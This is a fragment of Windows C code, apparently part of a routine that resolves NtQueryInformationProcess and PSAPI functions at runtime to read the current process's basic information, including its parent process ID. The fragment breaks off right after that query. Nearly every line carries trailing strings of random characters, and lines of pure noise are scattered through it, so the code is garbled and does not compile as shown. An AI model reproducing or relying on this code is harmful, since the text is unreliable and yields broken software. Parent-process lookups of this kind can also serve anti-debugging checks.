ULONG UniqueProcessId; [McH l1a
ULONG InheritedFromUniqueProcessId; H^`J(J+
} PROCESS_BASIC_INFORMATION; ])bgUH
#Tag"b`
PROCNTQSIP NtQueryInformationProcess; f\=,_AQ
ZAeJTCCk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]9'F<T= $_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
v0(}"0
3D5adI<aq"
HANDLE hProcess; !>!jLZ0
PROCESS_BASIC_INFORMATION pbi; ubsv\[:C
7bE`P[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >gq=W5vN(
if(NULL == hInst ) return 0; 8'zfq
]g
&U=_:]/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #nft{AN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -kP2Brm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9-&@Y
.YH#+T'
if (!NtQueryInformationProcess) return 0; {|j-e{*
$AvaOI.l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p`Tl)[*
if(!hProcess) return 0; Y#-c<o}f
OVgak>$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EG &